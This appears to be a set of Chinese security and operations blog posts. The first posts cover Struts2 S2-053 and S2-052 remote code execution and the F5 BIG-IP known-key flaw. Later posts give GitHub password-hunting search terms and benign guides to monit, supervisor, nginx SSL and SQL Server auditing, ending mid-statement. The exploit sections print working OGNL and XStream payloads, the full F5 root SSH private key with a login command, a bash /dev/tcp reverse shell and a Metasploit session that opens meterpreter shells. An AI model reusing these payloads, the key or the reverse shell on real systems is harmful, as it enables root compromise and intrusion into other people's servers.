漏洞描述
当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。
当在Freemarker标签中使用表达式常量或强制表达式时使用请求值可能会导致远程代码执行漏洞(见下面的示例)。
<@s.hidden name=”redirectUri” value=redirectUri />
<@s.hidden name=”redirectUri” value=”${redirectUri}” />
在这两种情况下,值属性都使用可写属性,都会受到Freemarker的表达式的影响。

CVE
CVE-2017-12611

受影响版本
Struts 2.0.1 – Struts 2.3.33
Struts 2.5 – Struts 2.5.10

漏洞测试

[root@mail ~]# systemctl start docker.service

下载Image

[root@mail ~]# docker pull medicean/vulapps:s_struts2_s2-053

列出镜像列表

[root@mail ~]# docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
docker.io/medicean/vulapps s_struts2_s2-053 91603dee10fd 4 days ago 297.7 MB
docker.io/medicean/vulapps s_struts2_s2-052 dd0f12c42bc5 7 days ago 341.8 MB

启动容器

docker run -d -p 80:8080 91603dee10fd

查看当前运行的容器

[root@mail ~]# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7ad5e8fd7ae7 91603dee10fd "/usr/local/tomcat/bi" 2 minutes ago Up 2 minutes 0.0.0.0:80->8080/tcp peaceful_raman

POC

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream(),"GBK"))}

参考文章
http://anquan.360.cn/news/detail/4295.html

 

CVE
CVE-2012-1493

漏洞危害
攻击者可以获取Root权限

漏洞影响如下产品和版本
* BIG-IP LTM 版本9.x, 10.x和11.x
* BIG-IP GTM 版本 9.x, 10.x和11.x
* BIG-IP ASM 版本 9.x, 10.x和11.x
* BIG-IP Link Controller 版本 9.x, 10.x和11.x
* BIG-IP PSM 版本 9.x, 10.x和11.x
* BIG-IP WOM 版本 10.x and 11.x
* BIG-IP APM 版本 10.x and 11.x
* BIG-IP Edge Gateway 版本 10.x和11.x
* BIG-IP Analytics 版本 11.x
* Enterprise Manager 版本 1.x和2.x

漏洞描述
F5的SSH对外开放且在上述版本可以使用私钥直接登录F5设备。

私钥如下

-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----

保存到my_private_key.txt

chomd 600 my_private_key.txt 
ssh -i my_private_key.txt -l root ipaddress

MSF插件

exploit/linux/ssh/f5_bigip_known_privkey

修复建议
https://support.f5.com/csp/article/K13600

Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。Struts2启用了rest-plugin后并编写并设置了XStreamHandler后,可以导致远程命令执行这一严重问题。实际场景中存在一定局限性,需要满足一定条件,非struts本身默认开启的组件。

影响版本:
Version 2.5.0 to 2.5.12
Version 2.3.0 to 2.3.33

修复版本:
Struts 2.5.13
Struts 2.3.34

漏洞验证:
从struts2的官网下载最后受影响的版本struts-2.5.12,地址: http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip
部署项目struts2-rest-showcase.war,Edit后提交的时候,截断数据包。
修改Content-Type: application/xml
修改POST内容为:

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>C:/Windows/system32/calc.exe</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

弹出计算机

需要注意JDK版本为1.8,低版本的JDK测试不行。
POC command标签内的空格需要以分开是string标签形式。
例如touch /tmp/xxx
需要写成

<command> 
<string>touch</string>
<string>/tmp/xxx</string>
</command>

Linux下实际测试自己搭建环境(CentOS6.5 apache-tomcat-8.0.46)
创建文件可以

<command> 
<string>touch</string>
<string>/tmp/xxx</string>
</command>

但是使用如下POC无法反弹shell(只能发出连接,无法反弹Bash),不知道和环境是否有关系。

<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/x.x.x.x/port 0>&amp;1</string>
</command>

还有测试过程如果不行可以清空tomcat目录下work目录再试试。

 

Linux下获取meterpreter
wget https://raw.githubusercontent.com/wvu-r7/metasploit-framework/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb
cp struts2_rest_xstream.rb /usr/share/metasploit-framework/modules/exploits/multi/http/
msfconsole

msf > use exploit/multi/http/struts2_rest_xstream

msf exploit(struts2_rest_xstream) > set rhost 172.16.100.155
rhost => 172.16.100.155
msf exploit(struts2_rest_xstream) > set lhost 172.16.100.177
lhost => 172.16.100.177

msf exploit(struts2_rest_xstream) > show options

Module options (exploit/multi/http/struts2_rest_xstream):

   Name       Current Setting                  Required  Description
   ----       ---------------                  --------  -----------
   Proxies                                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      172.16.100.155                   yes       The target address
   RPORT      8080                             yes       The target port (TCP)
   SRVHOST    0.0.0.0                          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT    8080                             yes       The local port to listen on.
   SSL        false                            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /struts2-rest-showcase/orders/3  yes       Path to Struts app
   URIPATH                                     no        The URI to use for this exploit (default is random)
   VHOST                                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter_reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.100.177   yes       The local listener hostname
   LPORT  8443             yes       The local listener port
   LURI                    no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Apache Struts 2.5 - 2.5.12

msf exploit(struts2_rest_xstream) > exploit 

[*] Started HTTPS reverse handler on https://172.16.100.177:8443
[*] Using URL: http://0.0.0.0:8080/tD86RKaLdwV
[*] Local IP: http://172.16.100.177:8080/tD86RKaLdwV
[*] Command Stager progress - 100.00% done (118/118 bytes)
[*] Server stopped.
[*] Exploit completed, but no session was created.
msf exploit(struts2_rest_xstream) > exploit 

[*] Started HTTPS reverse handler on https://172.16.100.177:8443
[*] Using URL: http://0.0.0.0:8080/CFpeUWr3UO3b7s5
[*] Local IP: http://172.16.100.177:8080/CFpeUWr3UO3b7s5
[*] https://172.16.100.177:8443 handling request from 172.16.100.155; (UUID: tre5vh55) Redirecting stageless connection from /rw7AbVJ4D8RcPFo-BYSmjA9L-dN7OPSB7NnI1R5R97ZHeZ8zC6CFm7WTV9KBp4CWjTHPZ2nnj_9tLmcClEo3QwMO8YXRdG4HGoLfAcOWNx43fBFbD with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://172.16.100.177:8443 handling request from 172.16.100.155; (UUID: tre5vh55) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (172.16.100.177:8443 -> 172.16.100.155:58051) at 2017-09-13 17:32:56 +0800
[+] negotiating tlv encryption
[+] negotiated tlv encryption
[+] negotiated tlv encryption
[*] https://172.16.100.177:8443 handling request from 172.16.100.155; (UUID: tre5vh55) Redirecting stageless connection from /hkiZkZ_fW9LcAdoDhbknRgM_qsJFpQYWAWkJT5Qjt8QVFopVe0ypSG-eoVv9eKJp5I_n0ZKxaKy66ZT with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://172.16.100.177:8443 handling request from 172.16.100.155; (UUID: tre5vh55) Attaching orphaned/stageless session...
[*] Meterpreter session 2 opened (172.16.100.177:8443 -> 172.16.100.155:53330) at 2017-09-13 17:33:04 +0800
[+] negotiating tlv encryption
[+] negotiated tlv encryption
[+] negotiated tlv encryption
[*] Command Stager progress - 100.00% done (122/122 bytes)
[*] Server stopped.

meterpreter > sysinfo 
Computer     : 172.16.100.155
OS           : CentOS 6.5 (Linux 2.6.39)
Architecture : x64
Meterpreter  : x64/linux

修复建议:
1.官方建议设置插件处理的数据类型限定为json
<constant name=”struts.action.extension” value=”xhtml,,json” />
2.升级Struts到2.5.13版本或2.3.34版本
3.在XStreamHandler中进行数据校验或检查

参考文章:
http://bobao.360.cn/learning/detail/4372.html
https://github.com/jas502n/St2-052

monit和supervisor都是进程管理工具,不过进程管理只是monit的功能之一,monit是一个开源的轻量级监控工具,功能十分强大。可以从多个层面进行监控,可以自动维护进程,发送邮件报警等。

系统监控:进程状态,系统负载,cpu负载,内存占用等。
进程监控:monit可以监控守护进程,当被监控进程异常退出时,可以自动被拉起。
文件系统:Monit可以监控本地文件、目录、文件系统的变化,包括时间戳、校验值、大小的变化。例如,可以监控文件sha1以及md5的值,来监控文件是否发生变化
网络监控:monit可以监控网络连接,支持TCP、UDP、Unix domain sockets以及HTTP、SMTP等。

程序安装:
yum install monit -y
配置文件:/etc/monit.conf

常用命令:

monit -t # 配置文件检测
monit # 启动monit daemon
monit -c /var/monit/monitrc # 启动monit daemon时指定配置文件
monit reload # 当更新了配置文件需要重载
monit status # 查看所有服务状态
monit status nginx # 查看nginx服务状态
monit stop all # 停止所有服务
monit stop nginx # 停止nginx服务
monit start all # 启动所有服务
monit start nginx # 启动nginx服务
monit -V # 查看版本

配置告警联系人
set alert 776711462@qq.com
下面是常用的几个功能:
1)监控文件
Nginx的配置文件HASH变化则直接reload

check file nginx.conf path /usr/local/nginx/conf/nginx.conf
    if changed sha1 checksum
    then exec "/usr/local/nginx/sbin/nginx -s reload"

这里也可以指定HASH值

check file nginx.conf path /usr/local/nginx/conf/nginx.conf
    if failed checksum and expect the sum 144f738eee9c0c0bb0b1e62c785e4a76 then alert

监控文件的修改时间,比如DB文件如果15分钟没有修改可能系统服务出现问题。监控文件的权限、属主、属组、大小等。

check file database with path /data/mydatabase.db
    if failed permission 700 then alert
    if failed uid data then alert
    if failed gid data then alert
    if timestamp > 15 minutes then alert
    if size > 100 MB then exec "/my/cleanup/script" as uid dba and gid dba

2)监控进程
监控Nginx进程:

# 提供主进程pid文件
check process nginx with pidfile /usr/local/nginx/logs/nginx.pid
    # 进程启动命令,必须写绝对路径
    start program = "/usr/local/nginx/sbin/nginx" with timeout 30 seconds
    # 进程关闭命令
    stop program  = "/usr/local/nginx/sbin/nginx -s stop"
# 端口状态检测,当状态返回异常,则重启服务。
  if failed host 192.168.192.120 port 80 protocol http then restart
# 当端口状态异常,报警    
  if failed host 192.168.192.120 port 80 protocol http then alert
# 在5个监视周期中,重启了服务3次,则超时不再监视。 因为如果重启了多次不成功,很有可能继续重启下去也不会成功,避免一直无效的重启,白白消耗系统资源影响主机上其他进程的工作,这时应该通知人工处理。
  if 3 restarts within 5 cycles then timeout
# 如果在5个监视周期内,该服务的CPU使用率都超过90%则告警。       
  if cpu usage > 90% for 5 cycles then alert
# 设置分组,可选
   group server
#   可选的ssl端口的监控,如果有的话
#    if failed port 443 type tcpssl protocol http
#       with timeout 15 seconds
#       then restart

监控SSH进程:

check process sshd with pidfile /var/run/sshd.pid
   start program  "/etc/init.d/sshd start"
   stop program  "/etc/init.d/sshd stop"
   if failed port 22 protocol SSH then restart
   if 5 restarts within 5 cycles then timeout

监控apache进程:

  check process apache with pidfile /usr/local/apache/logs/httpd.pid
    start program = "/etc/init.d/httpd start" with timeout 60 seconds
    stop program  = "/etc/init.d/httpd stop"
    if cpu > 60% for 2 cycles then alert
    if cpu > 80% for 5 cycles then restart
    if totalmem > 200.0 MB for 5 cycles then restart
    if children > 250 then restart
    if loadavg(5min) greater than 10 for 8 cycles then stop
    if failed host www.tildeslash.com port 80 protocol http and request "/somefile.html" then restart
    if failed port 443 type tcpssl protocol http with timeout 15 seconds then restart
    if 3 restarts within 5 cycles then unmonitor
    depends on apache_bin
    group server

3)系统负载监控

  check system $HOST
    if loadavg (1min) > 4 then alert
    if loadavg (5min) > 2 then alert
    if cpu usage > 95% for 10 cycles then alert
    if memory usage > 75% then alert
    if swap usage > 25% then alert

4)监控脚本返回值

check program myscript with path /usr/local/bin/myscript.sh
    if status != 0 then alert

5)监控网卡状态

  check network public with interface eth0
    if failed link then alert
    if changed link then alert
    if saturation > 90% then alert
    if download > 10 MB/s then alert
    if total upload > 1 GB in last hour then alert

6)监控远程主机服务

通过发出ping测试来检查远程主机的可用性,并检查来自web服务器的响应的内容。

  check host myserver with address 192.168.192.120
    if failed ping then alert
    if failed port 3306 protocol mysql with timeout 15 seconds then alert
    if failed port 80 protocol http and request /1.html with content = "123" then alert

7)监控文件系统

check filesystem datafs with path /dev/sdb1
 start program = "/bin/mount /data"
 stop program = "/bin/umount /data"
 if failed permission 660 then unmonitor
 if failed uid root then unmonitor
 if failed gid disk then unmonitor
 if space usage > 80% for 5 times within 15 cycles then alert
 if space usage > 99% then stop
 if inode usage > 30000 then alert
 if inode usage > 99% then stop
 group server

 

Supervisor是用Python开发的一个client/server服务,是Linux/Unix系统下的一个进程管理工具,不支持Windows系统。它可以很方便的监听、启动、停止、重启一个或多个进程。用Supervisor管理的进程,当一个进程意外被杀死,supervisort监听到进程死后,会自动将它重新拉起,很方便的做到进程自动恢复的功能,不再需要自己写shell脚本来控制。

安装supervisor
pip install supervisor

通过运行echo_supervisord_conf程序生成supervisor的初始化配置文件
echo_supervisord_conf > /etc/supervisor/supervisord.conf

supervisor的配置参数较多,下面介绍一下常用的参数配置,详细的配置及说明,分号(;)开头的配置表示注释。

[unix_http_server]
file=/tmp/supervisor.sock   ;UNIX socket 文件,supervisorctl 会使用
;chmod=0700                 ;socket文件的mode,默认是0700
;chown=nobody:nogroup       ;socket文件的owner,格式:uid:gid

;[inet_http_server]         ;HTTP服务器,提供web管理界面
;port=127.0.0.1:9001        ;Web管理后台运行的IP和端口,如果开放到公网,需要注意安全性
;username=user              ;登录管理后台的用户名
;password=123               ;登录管理后台的密码

[supervisord]
logfile=/tmp/supervisord.log ;日志文件,默认是 $CWD/supervisord.log
logfile_maxbytes=50MB        ;日志文件大小,超出会rotate,默认 50MB,如果设成0,表示不限制大小
logfile_backups=10           ;日志文件保留备份数量默认10,设为0表示不备份
loglevel=info                ;日志级别,默认info,其它: debug,warn,trace
pidfile=/tmp/supervisord.pid ;pid 文件
nodaemon=false               ;是否在前台启动,默认是false,即以 daemon 的方式启动
minfds=1024                  ;可以打开的文件描述符的最小值,默认 1024
minprocs=200                 ;可以打开的进程数的最小值,默认 200

[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ;通过UNIX socket连接supervisord,路径与unix_http_server部分的file一致
;serverurl=http://127.0.0.1:9001 ; 通过HTTP的方式连接supervisord

; [program:xx]是被管理的进程配置参数,xx是进程的名称
[program:xx]
command=/opt/apache-tomcat-8.0.35/bin/catalina.sh run  ; 程序启动命令
autostart=true       ; 在supervisord启动的时候也自动启动
startsecs=10         ; 启动10秒后没有异常退出,就表示进程正常启动了,默认为1秒
autorestart=true     ; 程序退出后自动重启,可选值:[unexpected,true,false],默认为unexpected,表示进程意外杀死后才重启
startretries=3       ; 启动失败自动重试次数,默认是3
user=tomcat          ; 用哪个用户启动进程,默认是root
priority=999         ; 进程启动优先级,默认999,值小的优先启动
redirect_stderr=true ; 把stderr重定向到stdout,默认false
stdout_logfile_maxbytes=20MB  ; stdout 日志文件大小,默认50MB
stdout_logfile_backups = 20   ; stdout 日志文件备份数,默认是10
; stdout 日志文件,需要注意当指定目录不存在时无法正常启动,所以需要手动创建目录(supervisord 会自动创建日志文件)
stdout_logfile=/opt/apache-tomcat-8.0.35/logs/catalina.out
stopasgroup=false     ;默认为false,进程被杀死时,是否向这个进程组发送stop信号,包括子进程
killasgroup=false     ;默认为false,向进程组发送kill信号,包括子进程

;包含其它配置文件
[include]
files = relative/directory/*.ini    ;可以指定一个或多个以.ini结束的配置文件

下面是一个监控Jboss进程的例子:

[program:jboss]
command=/web/webserver/jboss/anquan2/bin/catalina.sh run
stdout_logfile=/web/webserver/jboss/anquan2/logs/catalina.out
autostart=true
autorestart=true
startsecs=5
priority=1
stopasgroup=true
killasgroup=true

启动supervisor
supervisord -c /etc/supervisor/supervisord.conf

控制进程
1)交互终端
supervisord启动成功后,可以通过supervisorctl客户端控制进程,启动、停止、重启。运行supervisorctl命令,不加参数,会进入supervisor客户端的交互终端,并会列出当前所管理的所有进程。

[root@server144 logs]# supervisorctl 
jboss                            RUNNING   pid 6949, uptime 0:01:02
supervisor> stop jboss 
jboss: stopped

2)bash终端

[root@server144 logs]# supervisorctl status
jboss                            RUNNING   pid 7018, uptime 0:00:35
[root@server144 logs]# supervisorctl start jboss
jboss: started

3)Web界面

PS:
Supervisor只能管理非daemon的进程,也就是说Supervisor不能管理守护进程。否则提示Exited too quickly (process log may have details)异常。

 

Github作为渗透测试中较为常用的打开突破口的点,由员工安全意识不足导致的敏感信息泄露,例如运维人员上传的脚本中有个人Mail邮箱账号密码,登陆后可以导出通信录继续暴力爆破,然后导出邮件内容搜索VPN等关键字获取一些关键信息。
Github的搜索可以自由组合一些关键字,例如:

"test.com" "smtp"
"test.com" "mail"
"test.com" "mysql"
"test.com" "jdbc"
"test.com" "svn"
"test.com" "pop"
"test.com" "ftp"

"test.com" "user"
"test.com" "username"
"test.com" "账号"

"test.com" "password"
"test.com" "passwd"
"test.com" "pwd"
"test.com" "pass"
"test.com" "密码"

"test.com" "内部"

推荐的一套GitHub泄露监控系统,地址:

https://github.com/0xbug/Hawkeye

克隆项目到本地

git clone https://github.com/0xbug/Hawkeye.git --depth 1

安装依赖 (修改/usr/local/bin/python3 为你系统的Python 3 路径)

cd Hawkeye
pip install virtualenv
virtualenv --python=/usr/local/bin/python3 venv
source venv/bin/activate
pip install -r deploy/requirements.txt

配置文件

cp config.ini.example config.ini
vim config.ini

github 帐户配置

[GitHub]
USERNAME = 帐号
PASSWORD = 密码

MongoDB 认证配置

yum install mongodb
/usr/local/mongodb/bin/mongod -dbpath=/usr/local/mongodb/data -logpath=/usr/local/mongodb/logs
> use Hawkeye
switched to db Hawkeye
> db.addUser("git","hehe123")
{
	"user" : "git",
	"readOnly" : false,
	"pwd" : "2cb2f4cc98430db51a2335446fa84930",
	"_id" : ObjectId("59accc87fff25e9f045afc45")
}

[MongoDB]
HOST = localhost
PORT = 27017
ACCOUNT = git
PASSWORD = hehe123

告警配置(ENABLE:是否开启告警功能)

[Notice]
ENABLE = 1
MAIL_SERVER = 邮件服务器
MAIL_PORT = smtp端口
FROM = 发件人
PASSWORD = 密码

python Hawkeye.py
然后访问 http://0.0.0.0:5000/ 进行关键词、告警、黑名单、定时任务配置

 

0x01 SSL配置


首先生成私钥文件

openssl genrsa -des3 -out ssl.key 1024

然后他会要求你输入这个key文件的密码。不推荐输入。因为以后要给nginx使用。每次reload nginx配置时候都要你验证这个PAM密码的。
由于生成时候必须输入密码。你可以输入后 再删掉。

mv ssl.key xxx.key
openssl rsa -in xxx.key -out ssl.key
rm xxx.key

然后根据这个key文件生成证书请求文件,CSR是一个证书签名请求,是客户的服务器软件所生成的一串文本字符。服务器在向CA注册的过程中首先要在WEB服务器上生成CSR,并把这串字符提供给证书认证中心。
openssl req -new -key ssl.key -out ssl.csr
最后根据这2个文件生成crt证书文件
openssl x509 -req -days 365 -in ssl.csr -signkey ssl.key -out ssl.crt
最后使用到的文件是key和crt文件。

然后修改Nginx配置

    server {
        listen       443 ssl;
        server_name  localhost;

        ssl_certificate      ssl.crt;
        ssl_certificate_key  ssl.key;
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2 SSLv3;
        ssl_session_cache    shared:SSL:1m;
        ssl_session_timeout  5m;

        ssl_ciphers  HIGH:!aNULL:!MD5;
        ssl_prefer_server_ciphers  on;

        location / {
            root   html;
            index  index.html index.htm;
        }
    }

首次配置需要重启nginx,reload不生效。
这里比较重要的配置是:

ssl_protocols TLSv1 TLSv1.1 TLSv1.2 SSLv3;
ssl_ciphers HIGH:!aNULL:!MD5;

0x02 SSL证书返回错误问题排查


运维同学反馈在IE 8和XP的环境下使用https访问chinaacc.com的时候,返回了cdeledu.com的证书。先验证下:
果然是提示证书不安全,然后查看证书,果然是访问chinaacc.com的时候,返回了cdeledu.com的证书。

经过了解,原来是服务器上配置了多个域名的SSL证书,使用低版本浏览器的时候默认返回了配置的第一个证书。
在HTTP协议中,请求的域名作为主机头(Host)放在HTTP Header中,所以服务器端知道应该把请求引向哪个域名,但是早期的SSL做不到这一点,因为在SSL握手的过程中,根本不会有Host的信息,所以服务器端通常返回的是配置中的第一个可用证书。因而一些较老的环境,可能会产生多域名分别配好了证书,但返回的始终是同一个。
直到后来出现了SNI(Server Name Indication),是一项用于改善SSL/TLS的技术,在SSLv3/TLSv1中被启用。它允许客户端在发起SSL握手请求时(具体说来,是客户端发出SSL请求中的ClientHello阶段),就提交请求的Host信息,使得服务器能够切换到正确的域并返回相应的证书。
这里我们抓一下SSL握手的包,看一下ClientHello的内容
发现使用Chrome访问的,证书正常,此时ClientHello中有SNI,如下图所示:

在XP系统使用IE浏览器的时候返回证书错误,发送的ClientHello包中没有SNI,所以会返回配置的第一个证书。
然后我在Window7下使用IE8测试,返回证书是正常的。看来跟操作系统也有关系。
需要注意SNI需要客户端和服务端同时支持才行。例如查看Nginx时候支持

[root@VM_1_112_centos sbin]# ./nginx -V
nginx version: nginx/1.6.3
built by gcc 4.4.7 20120313 (Red Hat 4.4.7-17) (GCC)
TLS SNI support enabled

TLS SNI support enabled表示支持SNI。

0x03 Nginx多SSL配置不生效问题


今天运维同事反馈XP系统IE6不能正常访问Https站点的问题。
低版本的IE默认配置是SSLv2和SSLv3。

抓包先看了下,握手失败。

然后用nmap跑了下证书支持的加密套件:

[root@server120 ]# nmap --script ssl-enum-ciphers -p 443 chinaacc.com

Starting Nmap 6.47 ( http://nmap.org ) at 2017-09-01 10:34 CST
Nmap scan report for chinaacc.com (59.151.113.79)
Host is up (0.034s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers: 
|   SSLv3: No supported ciphers found

发现站点不支持SSLv3。
然后看了下SSL配置
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
发现没有配置SSLv3
修改配置
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 SSLv3;
然后用nmap扫描了下发现还是不行,配置没有生效。

原因是如果一个反向代理Nginx上配置了多个https域名的话,默认会走第一个的SSL配置。
例如我的配置如下:

    server {
        listen       443 ssl;
        server_name  localhost;

        ssl_certificate      xx.crt;
        ssl_certificate_key  xx.key;
        ssl_protocols TLSv1;
        ssl_session_cache    shared:SSL:1m;
        ssl_session_timeout  5m;
        ssl_ciphers  HIGH:!aNULL:!MD5;
        ssl_prefer_server_ciphers  on;

        location / {
            root   html;
            index  index.html index.htm;
        }
    }

    server {
        listen       443 ssl;
        server_name  192.168.192.120;

        ssl_certificate      xx.crt;
        ssl_certificate_key  xx.key;
        ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
        ssl_session_cache    shared:SSL:1m;
        ssl_session_timeout  5m;
        ssl_ciphers  HIGH:!aNULL:!MD5;
        ssl_prefer_server_ciphers  on;

        location / {
            root   html;
            index  index.html index.htm;
        }
    }

第一个server配置ssl_protocols TLSv1;
第二个server配置ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
然后用nmap测试一下

[root@server144 ~]# nmap --script ssl-enum-ciphers -p 443 192.168.192.120

Starting Nmap 5.51 ( http://nmap.org ) at 2017-09-01 16:35 CST
Nmap scan report for localhost (192.168.192.120)
Host is up (0.00066s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers: 
|   TLSv1.0
|     Ciphers (13)
|       TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_DHE_RSA_WITH_AES_128_CBC_SHA
|       TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|       TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
|       TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|       TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
|       TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA
|       TLS_RSA_WITH_AES_128_CBC_SHA
|       TLS_RSA_WITH_AES_256_CBC_SHA
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
|     Compressors (1)
|_      uncompressed
MAC Address: 52:54:00:26:BE:A2 (QEMU Virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 91.34 seconds

可以看到只支持TLSv1,走的是第一个ssl_protocols的配置。

解决方案:
修改第一个SSL配置中

ssl_protocols TLSv1 TLSv1.1 TLSv1.2 SSLv3;

SQL Server 2008R2版本实现方案:
1)数据库事务日志
在SQL Server数据库事务日志中,记录了每个事务的数据变更操作的详细信息。
2)Audit
之前做过的数据库蜜罐,针对单表监控增删改查行为并告警,就是使用的audit。
文章链接:

MSSQL数据库蜜罐测试


3)SQL Profiler
SQL Profiler是微软从SQL Server 2000开始引入的数据库引擎跟踪工具,具有使用界面操作的接口、使用SQL语句创建接口以及使用SMO编程创建接口。
4)Extended Event
Extended Event更加轻量级,性能消耗比SQL Profiler大幅降低,因此对用户系统性能影响也大幅减轻。对系统性能和吞吐量影响均在0.01%左右。

综合考虑可靠性、可维护性、系统开销和影响来看,使用Extended Event实现审计日志的方法是最优的选择。所以这里我们采用最优的方案Extended Event。

创建Extended Event Session并启用:

USE master
GO

CREATE EVENT SESSION [svrXEvent_User_Define_Testing] ON SERVER 
ADD EVENT sqlserver.sql_statement_completed
( 
	ACTION 
	( 
		sqlserver.database_id,
		sqlserver.session_id, 
		sqlserver.username, 
		sqlserver.client_hostname,
		sqlserver.client_app_name,
		sqlserver.sql_text, 
		sqlserver.plan_handle,
		sqlserver.tsql_stack,
		sqlserver.is_system,
		package0.collect_system_time
	) 
	WHERE sqlserver.username <> N'NT AUTHORITY\SYSTEM'
		AND sqlserver.username <> 'sa'
		AND sqlserver.is_system = 0		
)
ADD TARGET package0.asynchronous_file_target
( 
	SET 
		FILENAME = N'C:\Temp\svrXEvent_User_Define_Testing.xel', 
		METADATAFILE = N'C:\Temp\svrXEvent_User_Define_Testing.xem',
		MAX_FILE_SIZE = 10,
		MAX_ROLLOVER_FILES = 500
)
WITH (
	EVENT_RETENTION_MODE = NO_EVENT_LOSS,
	MAX_DISPATCH_LATENCY = 5 SECONDS,
